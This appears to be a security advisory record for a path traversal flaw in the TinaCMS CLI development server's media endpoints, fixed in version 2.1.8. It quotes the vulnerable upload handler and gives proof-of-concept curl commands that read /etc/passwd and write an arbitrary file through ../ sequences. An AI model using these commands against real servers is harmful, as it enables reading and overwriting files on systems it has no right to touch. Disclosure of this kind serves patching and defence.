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EUVD-2026-275989

2026-10-07T12:47:24.891719+00:00

EUVD-2026-275989

fkie_cve-2026-28793

2026-10-07T12:47:24.891767+00:00

Tina is a headless content management system. Prior to 2.1.8, the TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory. When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as /media/list/*, /media/upload/*, and /media/*. These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory. This vulnerability is fixed in 2.1.8.

GHSA-2f24-mg4x-534q — TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete

2026-10-07T12:47:24.891810+00:00

Affected: npm: @tinacms/cli

## Summary The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.

## Details When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:

- /media/list/*

- /media/upload/*

- /media/*

These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.

### Vulnerable code ``` bb.on('file', async (_name, file, _info) => { const fullPath = decodeURI(req.url?.slice('/media/upload/'.length)); const saveTo = path.join(mediaFolder, ...fullPath.split('/')); // No validation that saveTo remains within mediaFolder await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); }); ``` ## PoC **Arbitrary File Read** ``` curl "http://localhost:4001/media/list/../../../etc/passwd" ```

Result:

**Arbitrary File Write** ``` echo "ATTACKER_CONTROLLED_CONTENT" > /tmp/payload.txt

curl --path-as-is -X POST \ "http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \ -F "file=@/tmp/payload.txt" cat /tmp/pwned.txt ``` Result: